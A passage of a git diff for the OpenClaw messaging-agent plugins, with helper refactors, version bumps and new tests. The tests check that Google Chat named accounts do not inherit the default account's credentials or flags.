"@larksuiteoapi/node-sdk"; import type { OpenClawPluginApi } from "openclaw/plugin-sdk/feishu"; import { listEnabledFeishuAccounts } from "./accounts.js"; import { createFeishuToolClient, resolveAnyEnabledFeishuToolsConfig } from "./tool-account.js"; +import { + jsonToolResult, + toolExecutionErrorResult, + unknownToolActionResult, +} from "./tool-result.js"; import { FeishuWikiSchema, type FeishuWikiParams } from "./wiki-schema.js"; -// ============ Helpers ============ - -function json(data: unknown) { - return { - content: [{ type: "text" as const, text: JSON.stringify(data, null, 2) }], - details: data, - }; -} - type ObjType = "doc" | "sheet" | "mindnote" | "bitable" | "file" | "docx" | "slides"; // ============ Actions ============ @@ -194,22 +190,22 @@ export function registerFeishuWikiTools(api: OpenClawPluginApi) { }); switch (p.action) { case "spaces": - return json(await listSpaces(client)); + return jsonToolResult(await listSpaces(client)); case "nodes": - return json(await listNodes(client, p.space_id, p.parent_node_token)); + return jsonToolResult(await listNodes(client, p.space_id, p.parent_node_token)); case "get": - return json(await getNode(client, p.token)); + return jsonToolResult(await getNode(client, p.token)); case "search": - return json({ + return jsonToolResult({ error: "Search is not available. Use feishu_wiki with action: 'nodes' to browse or action: 'get' to lookup by token.", }); case "create": - return json( + return jsonToolResult( await createNode(client, p.space_id, p.title, p.obj_type, p.parent_node_token), ); case "move": - return json( + return jsonToolResult( await moveNode( client, p.space_id, @@ -219,13 +215,13 @@ export function registerFeishuWikiTools(api: OpenClawPluginApi) { ), ); case "rename": - return json(await renameNode(client, p.space_id, p.node_token, p.title)); + return jsonToolResult(await renameNode(client, p.space_id, p.node_token, p.title)); default: // eslint-disable-next-line @typescript-eslint/no-explicit-any -- exhaustive check fallback - return json({ error: `Unknown action: ${(p as any).action}` }); + return unknownToolActionResult((p as { action?: unknown }).action); } } catch (err) { - return json({ error: err instanceof Error ? err.message : String(err) }); + return toolExecutionErrorResult(err); } }, }; diff --git a/extensions/google-gemini-cli-auth/oauth.test.ts b/extensions/google-gemini-cli-auth/oauth.test.ts index 0ec4b6185e9..1471f804771 100644 --- a/extensions/google-gemini-cli-auth/oauth.test.ts +++ b/extensions/google-gemini-cli-auth/oauth.test.ts @@ -308,7 +308,7 @@ describe("loginGeminiCliOAuth", () => { beforeEach(() => { envSnapshot = Object.fromEntries(ENV_KEYS.map((key) => [key, process.env[key]])); process.env.OPENCLAW_GEMINI_OAUTH_CLIENT_ID = "test-client-id.apps.googleusercontent.com"; - process.env.OPENCLAW_GEMINI_OAUTH_CLIENT_SECRET = "GOCSPX-test-client-secret"; + process.env.OPENCLAW_GEMINI_OAUTH_CLIENT_SECRET = "GOCSPX-test-client-secret"; // pragma: allowlist secret delete process.env.GEMINI_CLI_OAUTH_CLIENT_ID; delete process.env.GEMINI_CLI_OAUTH_CLIENT_SECRET; delete process.env.GOOGLE_CLOUD_PROJECT; diff --git a/extensions/google-gemini-cli-auth/package.json b/extensions/google-gemini-cli-auth/package.json index 6e9d7ac4570..de9d3b8fab6 100644 --- a/extensions/google-gemini-cli-auth/package.json +++ b/extensions/google-gemini-cli-auth/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/google-gemini-cli-auth", - "version": "2026.3.2", + "version": "2026.3.7", "private": true, "description": "OpenClaw Gemini CLI OAuth provider plugin", "type": "module", diff --git a/extensions/googlechat/package.json b/extensions/googlechat/package.json index d76ddc648cd..ca55508dba8 100644 --- a/extensions/googlechat/package.json +++ b/extensions/googlechat/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/googlechat", - "version": "2026.3.2", + "version": "2026.3.7", "private": true, "description": "OpenClaw Google Chat channel plugin", "type": "module", diff --git a/extensions/googlechat/src/accounts.test.ts b/extensions/googlechat/src/accounts.test.ts new file mode 100644 index 00000000000..18256688971 --- /dev/null +++ b/extensions/googlechat/src/accounts.test.ts @@ -0,0 +1,131 @@ +import type { OpenClawConfig } from "openclaw/plugin-sdk/googlechat"; +import { describe, expect, it } from "vitest"; +import { resolveGoogleChatAccount } from "./accounts.js"; + +describe("resolveGoogleChatAccount", () => { + it("inherits shared defaults from accounts.default for named accounts", () => { + const cfg: OpenClawConfig = { + channels: { + googlechat: { + accounts: { + default: { + audienceType: "app-url", + audience: "https://example.com/googlechat", + webhookPath: "/googlechat", + }, + andy: { + serviceAccountFile: "/tmp/andy-sa.json", + }, + }, + }, + }, + }; + + const resolved = resolveGoogleChatAccount({ cfg, accountId: "andy" }); + expect(resolved.config.audienceType).toBe("app-url"); + expect(resolved.config.audience).toBe("https://example.com/googlechat"); + expect(resolved.config.webhookPath).toBe("/googlechat"); + expect(resolved.config.serviceAccountFile).toBe("/tmp/andy-sa.json"); + }); + + it("prefers top-level and account overrides over accounts.default", () => { + const cfg: OpenClawConfig = { + channels: { + googlechat: { + audienceType: "project-number", + audience: "1234567890", + accounts: { + default: { + audienceType: "app-url", + audience: "https://default.example.com/googlechat", + webhookPath: "/googlechat-default", + }, + april: { + webhookPath: "/googlechat-april", + }, + }, + }, + }, + }; + + const resolved = resolveGoogleChatAccount({ cfg, accountId: "april" }); + expect(resolved.config.audienceType).toBe("project-number"); + expect(resolved.config.audience).toBe("1234567890"); + expect(resolved.config.webhookPath).toBe("/googlechat-april"); + }); + + it("does not inherit disabled state from accounts.default for named accounts", () => { + const cfg: OpenClawConfig = { + channels: { + googlechat: { + accounts: { + default: { + enabled: false, + audienceType: "app-url", + audience: "https://example.com/googlechat", + }, + andy: { + serviceAccountFile: "/tmp/andy-sa.json", + }, + }, + }, + }, + }; + + const resolved = resolveGoogleChatAccount({ cfg, accountId: "andy" }); + expect(resolved.enabled).toBe(true); + expect(resolved.config.enabled).toBeUndefined(); + expect(resolved.config.audienceType).toBe("app-url"); + }); + + it("does not inherit default-account credentials into named accounts", () => { + const cfg: OpenClawConfig = { + channels: { + googlechat: { + accounts: { + default: { + serviceAccountRef: { + source: "env", + provider: "test", + id: "default-sa", + }, + audienceType: "app-url", + audience: "https://example.com/googlechat", + }, + andy: { + serviceAccountFile: "/tmp/andy-sa.json", + }, + }, + }, + }, + }; + + const resolved = resolveGoogleChatAccount({ cfg, accountId: "andy" }); + expect(resolved.credentialSource).toBe("file"); + expect(resolved.credentialsFile).toBe("/tmp/andy-sa.json"); + expect(resolved.config.audienceType).toBe("app-url"); + }); + + it("does not inherit dangerous name matching from accounts.default", () => { + const cfg: OpenClawConfig = { + channels: { + googlechat: { + accounts: { + default: { + dangerouslyAllowNameMatching: true, + audienceType: "app-url", + audience: "https://example.com/googlechat", + }, + andy: { + serviceAccountFile: "/tmp/andy-sa.json", + }, + }, + }, + }, + }; + + const resolved = resolveGoogleChatAccount({ cfg, accountId: "andy" }); + expect(resolved.config.dangerouslyAllowNameMatching).toBeUndefined(); + expect(resolved.config.audienceType).toBe("app-url"); + }); +}); diff --git a/extensions/googlechat/src/accounts.ts b/extensions/googlechat/src/accounts.ts index 537c898d77e..f597efbece4 100644 --- a/extensions/googlechat/src/accounts.ts +++ b/extensions/googlechat/src/accounts.ts @@ -71,8 +71,22 @@ function mergeGoogleChatAccountConfig( ): GoogleChatAccountConfig { const raw = cfg.channels?.["googlechat"] ?? {}; const { accounts: _ignored, defaultAccount: _ignored2, ...base } = raw; + const defaultAccountConfig = resolveAccountConfig(cfg, DEFAULT_ACCOUNT_ID) ?? {}; const account = resolveAccountConfig(cfg, accountId) ?? {}; - return { ...base, ...account } as GoogleChatAccountConfig; + if (accountId === DEFAULT_ACCOUNT_ID) { + return { ...base, ...defaultAccountConfig } as GoogleChatAccountConfig; + } + const { + enabled: _ignoredEnabled, + dangerouslyAllowNameMatching: _ignoredDangerouslyAllowNameMatching, + serviceAccount: _ignoredServiceAccount, + serviceAccountRef: _ignoredServiceAccountRef, + serviceAccountFile: _ignoredServiceAccountFile, + ...defaultAccountShared + } = defaultAccountConfig; + // In multi-account setups, allow accounts.default to provide shared defaults + // (for example webhook/audience fields) while preserving top-level and account overrides. + return { ...defaultAccountShared, ...base, ...account } as GoogleChatAccountConfig; } function parseServiceAccount(value: unknown): Record | null { diff --git a/extensions/googlechat/src/api.test.ts b/extensions/googlechat/src/api.test.ts index a8a6b763a4a..fc011268ec2 100644 --- a/extensions/googlechat/src/api.test.ts +++ b/extensions/googlechat/src/api.test.ts @@ -81,7 +81,7 @@ describe("sendGoogleChatMessage", () => { }); const [url, init] = fetchMock.mock.calls[0] ?? []; - expect(String(url)).toContain("messageReplyOption=REPLY_MESSAGE_FALLBACK_TO_NEW_THREAD"); + expect(String(url)).toContain("messageReplyOption=REPLY_MESSAGE_FALLBACK_TO_NEW_THREAD"); // pragma: allowlist secret expect(JSON.parse(String(init?.body))).toMatchObject({ text: "hello", thread: { name: "spaces/AAA/threads/xyz" }, diff --git a/extensions/googlechat/src/channel.outbound.test.ts b/extensions/googlechat/src/channel.outbound.test.ts index a530d3afe4d..c9180dd8158 100644 --- a/extensions/googlechat/src/channel.outbound.test.ts +++ b/extensions/googlechat/src/channel.outbound.test.ts @@ -12,26 +12,51 @@ vi.mock("./api.js", () => ({ import { googlechatPlugin } from "./channel.js"; import { setGoogleChatRuntime } from "./runtime.js"; +function createGoogleChatCfg(): OpenClawConfig { + return { + channels: { + googlechat: { + enabled: true, + serviceAccount: { + type: "service_account", + client_email: "bot@example.com", + private_key: "test-key", // pragma: allowlist secret + token_uri: "https://oauth2.googleapis.com/token", + }, + }, + }, + }; +} + +function setupRuntimeMediaMocks(params: { loadFileName: string; loadBytes: string }) { + const loadWebMedia = vi.fn(async () => ({ + buffer: Buffer.from(params.loadBytes), + fileName: params.loadFileName, + contentType: "image/png", + })); + const fetchRemoteMedia = vi.fn(async () => ({ + buffer: Buffer.from("remote-bytes"), + fileName: "remote.png", + contentType: "image/png", + })); + + setGoogleChatRuntime({ + media: { loadWebMedia }, + channel: { + media: { fetchRemoteMedia }, + text: { chunkMarkdownText: (text: string) => [text] }, + }, + } as unknown as PluginRuntime); + + return { loadWebMedia, fetchRemoteMedia }; +} + describe("googlechatPlugin outbound sendMedia", () => { it("loads local media with mediaLocalRoots via runtime media loader", async () => { - const loadWebMedia = vi.fn(async () => ({ - buffer: Buffer.from("image-bytes"), - fileName: "image.png", - contentType: "image/png", - })); - const fetchRemoteMedia = vi.fn(async () => ({ - buffer: Buffer.from("remote-bytes"), - fileName: "remote.png", - contentType: "image/png", - })); - - setGoogleChatRuntime({ - media: { loadWebMedia }, - channel: { - media: { fetchRemoteMedia }, - text: { chunkMarkdownText: (text: string) => [text] }, - }, - } as unknown as PluginRuntime); + const { loadWebMedia, fetchRemoteMedia } = setupRuntimeMediaMocks({ + loadFileName: "image.png", + loadBytes: "image-bytes", + }); uploadGoogleChatAttachmentMock.mockResolvedValue({ attachmentUploadToken: "token-1", @@ -40,19 +65,7 @@ describe("googlechatPlugin outbound sendMedia", () => { messageName: "spaces/AAA/messages/msg-1", }); - const cfg: OpenClawConfig = { - channels: { - googlechat: { - enabled: true, - serviceAccount: { - type: "service_account", - client_email: "bot@example.com", - private_key: "test-key", - token_uri: "https://oauth2.googleapis.com/token", - }, - }, - }, - }; + const cfg = createGoogleChatCfg(); const result = await googlechatPlugin.outbound?.sendMedia?.({ cfg, @@ -91,24 +104,10 @@ describe("googlechatPlugin outbound sendMedia", () => { }); it("keeps remote URL media fetch on fetchRemoteMedia with maxBytes cap", async () => { - const loadWebMedia = vi.fn(async () => ({ - buffer: Buffer.from("should-not-be-used"), - fileName: "unused.png", - contentType: "image/png", - })); - const fetchRemoteMedia = vi.fn(async () => ({ - buffer: Buffer.from("remote-bytes"), - fileName: "remote.png", - contentType: "image/png", - })); - - setGoogleChatRuntime({ - media: { loadWebMedia }, - channel: { - media: { fetchRemoteMedia }, - text: { chunkMarkdownText: (text: string) => [text] }, - }, - } as unknown as PluginRuntime); + const { loadWebMedia, fetchRemoteMedia } = setupRuntimeMediaMocks({ + loadFileName: "unused.png", + loadBytes: "should-not-be-used", + }); uploadGoogleChatAttachmentMock.mockResolvedValue({ attachmentUploadToken: "token-2", @@ -117,19 +116,7 @@ describe("googlechatPlugin outbound sendMedia", () => { messageName: "spaces/AAA/messages/msg-2", }); - const cfg: OpenClawConfig = { - channels: { - googlechat: { - enabled: true, - serviceAccount: { - type: "service_account", - client_email: "bot@example.com", - private_key: "test-key", - token_uri: "https://oauth2.googleapis.com/token", - }, - }, - }, - }; + const cfg = createGoogleChatCfg(); const result = await googlechatPlugin.outbound?.sendMedia?.({ cfg, diff --git a/extensions/googlechat/src/monitor-webhook.ts b/extensions/googlechat/src/monitor-webhook.ts index 4272b2bfa87..5f380722267 100644 --- a/extensions/googlechat/src/monitor-webhook.ts +++ b/extensions/googlechat/src/monitor-webhook.ts @@ -25,6 +25,7 @@ function extractBearerToken(header: unknown): string { type ParsedGoogleChatInboundPayload = | { ok: true; event: GoogleChatEvent; addOnBearerToken: string } | { ok: false }; +type ParsedGoogleChatInboundSuccess = Extract; function parseGoogleChatInboundPayload( raw: unknown, @@ -116,6 +117,23 @@ export function createGoogleChatWebhookRequestHandler(params: { const headerBearer = extractBearerToken(req.headers.authorization); let selectedTarget: WebhookTarget | null = null; let parsedEvent: GoogleChatEvent | null = null; + const readAndParseEvent = async ( + profile: "pre-auth" | "post-auth", + ): Promise => { + const body = await readJsonWebhookBodyOrReject({ + req, + res, + profile, + emptyObjectOnEmpty: false, + invalidJsonMessage: "invalid payload", + }); + if (!body.ok) { + return null; + } + + const parsed = parseGoogleChatInboundPayload(body.value, res); + return parsed.ok ? parsed : null; + }; if (headerBearer) { selectedTarget = await resolveWebhookTargetWithAuthOrReject({ @@ -134,36 +152,14 @@ export function createGoogleChatWebhookRequestHandler(params: { return true; } - const body = await readJsonWebhookBodyOrReject({ - req, - res, - profile: "post-auth", - emptyObjectOnEmpty: false, - invalidJsonMessage: "invalid payload", - }); - if (!body.ok) { - return true; - } - - const parsed = parseGoogleChatInboundPayload(body.value, res); - if (!parsed.ok) { + const parsed = await readAndParseEvent("post-auth"); + if (!parsed) { return true; } parsedEvent = parsed.event; } else { - const body = await readJsonWebhookBodyOrReject({ - req, - res, - profile: "pre-auth", - emptyObjectOnEmpty: false, - invalidJsonMessage: "invalid payload", - }); - if (!body.ok) { - return true; - } - - const parsed = parseGoogleChatInboundPayload(body.value, res); - if (!parsed.ok) { + const parsed = await readAndParseEvent("pre-auth"); + if (!parsed) { return true; } parsedEvent = parsed.event; diff --git a/extensions/imessage/package.json b/extensions/imessage/package.json index c6c03dca8b0..d4562e6e42c 100644 --- a/extensions/imessage/package.json +++ b/extensions/imessage/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/imessage", - "version": "2026.3.2", + "version": "2026.3.7", "private": true, "description": "OpenClaw iMessage channel plugin", "type": "module", diff --git a/extensions/imessage/src/channel.ts b/extensions/imessage/src/channel.ts index 0835f6734ad..8c77f2a94bf 100644 --- a/extensions/imessage/src/channel.ts +++ b/extensions/imessage/src/channel.ts @@ -1,6 +1,7 @@ import { applyAccountNameToChannelSection, buildChannelConfigSchema, + collectStatusIssuesFromLastError, DEFAULT_ACCOUNT_ID, deleteAccountFromConfigSection, formatPairingApproveHint, @@ -266,21 +267,7 @@ export const imessagePlugin: ChannelPlugin = { cliPath: null, dbPath: null, }, - collectStatusIssues: (accounts) => - accounts.flatMap((account) => { - const lastError = typeof account.lastError === "string" ? account.lastError.trim() : ""; - if (!lastError) { - return []; - } - return [ - { - channel: "imessage", - accountId: account.accountId, - kind: "runtime", - message: `Channel error: ${lastError}`, - }, - ]; - }), + collectStatusIssues: (accounts) => collectStatusIssuesFromLastError("imessage", accounts), buildChannelSummary: ({ snapshot }) => ({ configured: snapshot.configured ?? false, running: snapshot.running ?? false, diff --git a/extensions/irc/package.json b/extensions/irc/package.json index 2ac8e39812d..bb41c1d9e02 100644 --- a/extensions/irc/package.json +++ b/extensions/irc/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/irc", - "version": "2026.3.2", + "version": "2026.3.7", "description": "OpenClaw IRC channel plugin", "type": "module", "dependencies": { diff --git a/extensions/irc/src/inbound.ts b/extensions/irc/src/inbound.ts index 2c3378de1c1..6c03ebadf02 100644 --- a/extensions/irc/src/inbound.ts +++ b/extensions/irc/src/inbound.ts @@ -1,8 +1,7 @@ import { GROUP_POLICY_BLOCKED_LABEL, createScopedPairingAccess, - createNormalizedOutboundDeliverer, - createReplyPrefixOptions, + dispatchInboundReplyWithBase, formatTextWithAttachmentLinks, logInboundDrop, isDangerousNameMatchingEnabled, @@ -332,44 +331,31 @@ export async function handleIrcInbound(params: { CommandAuthorized: commandAuthorized, }); - await core.channel.session.recordInboundSession({ + await dispatchInboundReplyWithBase({ + cfg: config as OpenClawConfig, + channel: CHANNEL_ID, + accountId: account.accountId, + route, storePath, - sessionKey: ctxPayload.SessionKey ?? route.sessionKey, - ctx: ctxPayload, + ctxPayload, + core, + deliver: async (payload) => { + await deliverIrcReply({ + payload, + target: peerId, + accountId: account.accountId, + sendReply: params.sendReply, + statusSink, + }); + }, onRecordError: (err) => { runtime.error?.(`irc: failed updating session meta: ${String(err)}`); }, - }); - - const { onModelSelected, ...prefixOptions } = createReplyPrefixOptions({ - cfg: config as OpenClawConfig, - agentId: route.agentId, - channel: CHANNEL_ID, - accountId: account.accountId, - }); - const deliverReply = createNormalizedOutboundDeliverer(async (payload) => { - await deliverIrcReply({ - payload, - target: peerId, - accountId: account.accountId, - sendReply: params.sendReply, - statusSink, - }); - }); - - await core.channel.reply.dispatchReplyWithBufferedBlockDispatcher({ - ctx: ctxPayload, - cfg: config as OpenClawConfig, - dispatcherOptions: { - ...prefixOptions, - deliver: deliverReply, - onError: (err, info) => { - runtime.error?.(`irc ${info.kind} reply failed: ${String(err)}`); - }, + onDispatchError: (err, info) => { + runtime.error?.(`irc ${info.kind} reply failed: ${String(err)}`); }, replyOptions: { skillFilter: groupMatch.groupConfig?.skills, - onModelSelected, disableBlockStreaming: typeof account.config.blockStreaming === "boolean" ? !account.config.blockStreaming diff --git a/extensions/line/package.json b/extensions/line/package.json index 3d05a61bbff..cef43060dcc 100644 --- a/extensions/line/package.json +++ b/extensions/line/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/line", - "version": "2026.3.2", + "version": "2026.3.7", "private": true, "description": "OpenClaw LINE channel plugin", "type": "module", diff --git a/extensions/line/src/channel.ts b/extensions/line/src/channel.ts index c29046eaaf0..69491cf61f2 100644 --- a/extensions/line/src/channel.ts +++ b/extensions/line/src/channel.ts @@ -1,6 +1,8 @@ import { buildChannelConfigSchema, + buildComputedAccountStatusSnapshot, buildTokenChannelStatusSummary, + clearAccountEntryFields, DEFAULT_ACCOUNT_ID, LineConfigSchema, processLineMessage, @@ -27,6 +29,42 @@ const meta = { systemImage: "message.fill", }; +function patchLineAccountConfig( + cfg: OpenClawConfig, + lineConfig: LineConfig, + accountId: string, + patch: Record, +): OpenClawConfig { + if (accountId === DEFAULT_ACCOUNT_ID) { + return { + ...cfg, + channels: { + ...cfg.channels, + line: { + ...lineConfig, + ...patch, + }, + }, + }; + } + return { + ...cfg, + channels: { + ...cfg.channels, + line: { + ...lineConfig, + accounts: { + ...lineConfig.accounts, + [accountId]: { + ...lineConfig.accounts?.[accountId], + ...patch, + }, + }, + }, + }, + }; +} + export const linePlugin: ChannelPlugin = { id: "line", meta: { @@ -67,34 +105,7 @@ export const linePlugin: ChannelPlugin = { defaultAccountId: (cfg) => getLineRuntime().channel.line.resolveDefaultLineAccountId(cfg), setAccountEnabled: ({ cfg, accountId, enabled }) => { const lineConfig = (cfg.channels?.line ?? {}) as LineConfig; - if (accountId === DEFAULT_ACCOUNT_ID) { - return { - ...cfg, - channels: { - ...cfg.channels, - line: { - ...lineConfig, - enabled, - }, - }, - }; - } - return { - ...cfg, - channels: { - ...cfg.channels, - line: { - ...lineConfig, - accounts: { - ...lineConfig.accounts, - [accountId]: { - ...lineConfig.accounts?.[accountId], - enabled, - }, - }, - }, - }, - }; + return patchLineAccountConfig(cfg, lineConfig, accountId, { enabled }); }, deleteAccount: ({ cfg, accountId }) => { const lineConfig = (cfg.channels?.line ?? {}) as LineConfig; @@ -224,34 +235,7 @@ export const linePlugin: ChannelPlugin = { getLineRuntime().channel.line.normalizeAccountId(accountId), applyAccountName: ({ cfg, accountId, name }) => { const lineConfig = (cfg.channels?.line ?? {}) as LineConfig; - if (accountId === DEFAULT_ACCOUNT_ID) { - return { - ...cfg, - channels: { - ...cfg.channels, - line: { - ...lineConfig, - name, - }, - }, - }; - } - return { - ...cfg, - channels: { - ...cfg.channels, - line: { - ...lineConfig, - accounts: { - ...lineConfig.accounts, - [accountId]: { - ...lineConfig.accounts?.[accountId], - name, - }, - }, - }, - }, - }; + return patchLineAccountConfig(cfg, lineConfig, accountId, { name }); }, validateInput: ({ accountId, input }) => { const typedInput = input as { @@ -615,20 +599,18 @@ export const linePlugin: ChannelPlugin = { const configured = Boolean( account.channelAccessToken?.trim() && account.channelSecret?.trim(), ); - return { + const base = buildComputedAccountStatusSnapshot({ accountId: account.accountId, name: account.name, enabled: account.enabled, configured, - tokenSource: account.tokenSource, - running: runtime?.running ?? false, - lastStartAt: runtime?.lastStartAt ?? null, - lastStopAt: runtime?.lastStopAt ?? null, - lastError: runtime?.lastError ?? null, - mode: "webhook", + runtime, probe, - lastInboundAt: runtime?.lastInboundAt ?? null, - lastOutboundAt: runtime?.lastOutboundAt ?? null, + }); + return { + ...base, + tokenSource: account.tokenSource, + mode: "webhook", }; }, }, @@ -699,39 +681,21 @@ export const linePlugin: ChannelPlugin = { } } - const accounts = nextLine.accounts ? { ...nextLine.accounts } : undefined; - if (accounts && accountId in accounts) { - const entry = accounts[accountId]; - if (entry && typeof entry === "object") { - const nextEntry = { ...entry } as Record; - if ( - "channelAccessToken" in nextEntry || - "channelSecret" in nextEntry || - "tokenFile" in nextEntry || - "secretFile" in nextEntry - ) { - cleared = true; - delete nextEntry.channelAccessToken; - delete nextEntry.channelSecret; - delete nextEntry.tokenFile; - delete nextEntry.secretFile; - changed = true; - } - if (Object.keys(nextEntry).length === 0) { - delete accounts[accountId]; - changed = true; - } else { - accounts[accountId] = nextEntry as typeof entry; - } + const accountCleanup = clearAccountEntryFields({ + accounts: nextLine.accounts, + accountId, + fields: ["channelAccessToken", "channelSecret", "tokenFile", "secretFile"], + markClearedOnFieldPresence: true, + }); + if (accountCleanup.changed) { + changed = true; + if (accountCleanup.cleared) { + cleared = true; } - } - - if (accounts) { - if (Object.keys(accounts).length === 0) { - delete nextLine.accounts; - changed = true; + if (accountCleanup.nextAccounts) { + nextLine.accounts = accountCleanup.nextAccounts; } else { - nextLine.accounts = accounts; + delete nextLine.accounts; } } diff --git a/extensions/llm-task/package.json b/extensions/llm-task/package.json index b4436762846..9203bc54c4c 100644 --- a/extensions/llm-task/package.json +++ b/extensions/llm-task/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/llm-task", - "version": "2026.3.2", + "version": "2026.3.7", "private": true, "description": "OpenClaw JSON-only LLM task plugin", "type": "module", diff --git a/extensions/lobster/package.json b/extensions/lobster/package.json index 8a2835f8726..cf501a4b7fd 100644 --- a/extensions/lobster/package.json +++ b/extensions/lobster/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/lobster", - "version": "2026.3.2", + "version": "2026.3.7", "description": "Lobster workflow tool plugin (typed pipelines + resumable approvals)", "type": "module", "dependencies": { diff --git a/extensions/lobster/src/lobster-tool.test.ts b/extensions/lobster/src/lobster-tool.test.ts index 970c2ad4fd1..40e9a0b64e8 100644 --- a/extensions/lobster/src/lobster-tool.test.ts +++ b/extensions/lobster/src/lobster-tool.test.ts @@ -46,6 +46,7 @@ function fakeApi(overrides: Partial = {}): OpenClawPluginApi registerHook() {}, registerHttpRoute() {}, registerCommand() {}, + registerContextEngine() {}, on() {}, resolvePath: (p) => p, ...overrides, diff --git a/extensions/matrix/CHANGELOG.md b/extensions/matrix/CHANGELOG.md index 03c9a2a50da..44232630600 100644 --- a/extensions/matrix/CHANGELOG.md +++ b/extensions/matrix/CHANGELOG.md @@ -1,5 +1,17 @@ # Changelog +## 2026.3.7 + +### Changes + +- Version alignment with core OpenClaw release numbers. + +## 2026.3.3 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.2 ### Changes diff --git a/extensions/matrix/package.json b/extensions/matrix/package.json index 8f294d3b98b..aada31c09a7 100644 --- a/extensions/matrix/package.json +++ b/extensions/matrix/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/matrix", - "version": "2026.3.2", + "version": "2026.3.7", "description": "OpenClaw Matrix channel plugin", "type": "module", "dependencies": { diff --git a/extensions/matrix/src/channel.ts b/extensions/matrix/src/channel.ts index 3ccfd2a8ae4..29dfe5fd357 100644 --- a/extensions/matrix/src/channel.ts +++ b/extensions/matrix/src/channel.ts @@ -2,6 +2,7 @@ import { applyAccountNameToChannelSection, buildChannelConfigSchema, buildProbeChannelStatusSummary, + collectStatusIssuesFromLastError, DEFAULT_ACCOUNT_ID, deleteAccountFromConfigSection, formatPairingApproveHint, @@ -380,21 +381,7 @@ export const matrixPlugin: ChannelPlugin = { lastStopAt: null, lastError: null, }, - collectStatusIssues: (accounts) => - accounts.flatMap((account) => { - const lastError = typeof account.lastError === "string" ? account.lastError.trim() : ""; - if (!lastError) { - return []; - } - return [ - { - channel: "matrix", - accountId: account.accountId, - kind: "runtime", - message: `Channel error: ${lastError}`, - }, - ]; - }), + collectStatusIssues: (accounts) => collectStatusIssuesFromLastError("matrix", accounts), buildChannelSummary: ({ snapshot }) => buildProbeChannelStatusSummary(snapshot, { baseUrl: snapshot.baseUrl ?? null }), probeAccount: async ({ account, timeoutMs, cfg }) => { diff --git a/extensions/matrix/src/matrix/monitor/handler.ts b/extensions/matrix/src/matrix/monitor/handler.ts index 53651ce4b16..bacd6890ab9 100644 --- a/extensions/matrix/src/matrix/monitor/handler.ts +++ b/extensions/matrix/src/matrix/monitor/handler.ts @@ -4,9 +4,11 @@ import { createScopedPairingAccess, createReplyPrefixOptions, createTypingCallbacks, + dispatchReplyFromConfigWithSettledDispatcher, formatAllowlistMatchMeta, logInboundDrop, logTypingFailure, + resolveInboundSessionEnvelopeContext, resolveControlCommandGate, type PluginRuntime, type RuntimeEnv, @@ -484,14 +486,12 @@ export function createMatrixRoomMessageHandler(params: MatrixMonitorHandlerParam const textWithId = threadRootId ? `${bodyText}\n[matrix event id: ${messageId} room: ${roomId} thread: ${threadRootId}]` : `${bodyText}\n[matrix event id: ${messageId} room: ${roomId}]`; - const storePath = core.channel.session.resolveStorePath(cfg.session?.store, { - agentId: route.agentId, - }); - const envelopeOptions = core.channel.reply.resolveEnvelopeFormatOptions(cfg); - const previousTimestamp = core.channel.session.readSessionUpdatedAt({ - storePath, - sessionKey: route.sessionKey, - }); + const { storePath, envelopeOptions, previousTimestamp } = + resolveInboundSessionEnvelopeContext({ + cfg, + agentId: route.agentId, + sessionKey: route.sessionKey, + }); const body = core.channel.reply.formatInboundEnvelope({ channel: "Matrix", from: envelopeFrom, @@ -655,22 +655,18 @@ export function createMatrixRoomMessageHandler(params: MatrixMonitorHandlerParam }, }); - const { queuedFinal, counts } = await core.channel.reply.withReplyDispatcher({ + const { queuedFinal, counts } = await dispatchReplyFromConfigWithSettledDispatcher({ + cfg, + ctxPayload, dispatcher, onSettled: () => { markDispatchIdle(); }, - run: () => - core.channel.reply.dispatchReplyFromConfig({ - ctx: ctxPayload, - cfg, - dispatcher, - replyOptions: { - ...replyOptions, - skillFilter: roomConfig?.skills, - onModelSelected, - }, - }), + replyOptions: { + ...replyOptions, + skillFilter: roomConfig?.skills, + onModelSelected, + }, }); if (!queuedFinal) { return; diff --git a/extensions/matrix/src/matrix/monitor/index.ts b/extensions/matrix/src/matrix/monitor/index.ts index 2449b215715..1634a75502b 100644 --- a/extensions/matrix/src/matrix/monitor/index.ts +++ b/extensions/matrix/src/matrix/monitor/index.ts @@ -1,7 +1,7 @@ import { - createLoggerBackedRuntime, GROUP_POLICY_BLOCKED_LABEL, mergeAllowlist, + resolveRuntimeEnv, resolveAllowlistProviderRuntimeGroupPolicy, resolveDefaultGroupPolicy, summarizeMapping, @@ -241,11 +241,10 @@ export async function monitorMatrixProvider(opts: MonitorMatrixOpts = {}): Promi } const logger = core.logging.getChildLogger({ module: "matrix-auto-reply" }); - const runtime: RuntimeEnv = - opts.runtime ?? - createLoggerBackedRuntime({ - logger, - }); + const runtime: RuntimeEnv = resolveRuntimeEnv({ + runtime: opts.runtime, + logger, + }); const logVerboseMessage = (message: string) => { if (!core.logging.shouldLogVerbose()) { return; diff --git a/extensions/matrix/src/secret-input.ts b/extensions/matrix/src/secret-input.ts index a5de1214773..c0827573480 100644 --- a/extensions/matrix/src/secret-input.ts +++ b/extensions/matrix/src/secret-input.ts @@ -1,19 +1,13 @@ import { + buildSecretInputSchema, hasConfiguredSecretInput, normalizeResolvedSecretInputString, normalizeSecretInputString, } from "openclaw/plugin-sdk/matrix"; -import { z } from "zod"; -export { hasConfiguredSecretInput, normalizeResolvedSecretInputString, normalizeSecretInputString }; - -export function buildSecretInputSchema() { - return z.union([ - z.string(), - z.object({ - source: z.enum(["env", "file", "exec"]), - provider: z.string().min(1), - id: z.string().min(1), - }), - ]); -} +export { + buildSecretInputSchema, + hasConfiguredSecretInput, + normalizeResolvedSecretInputString, + normalizeSecretInputString, +}; diff --git a/extensions/mattermost/package.json b/extensions/mattermost/package.json index 52a88810c3a..6434d689760 100644 --- a/extensions/mattermost/package.json +++ b/extensions/mattermost/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/mattermost", - "version": "2026.3.2", + "version": "2026.3.7", "description": "OpenClaw Mattermost channel plugin", "type": "module", "dependencies": { diff --git a/extensions/mattermost/src/channel.ts 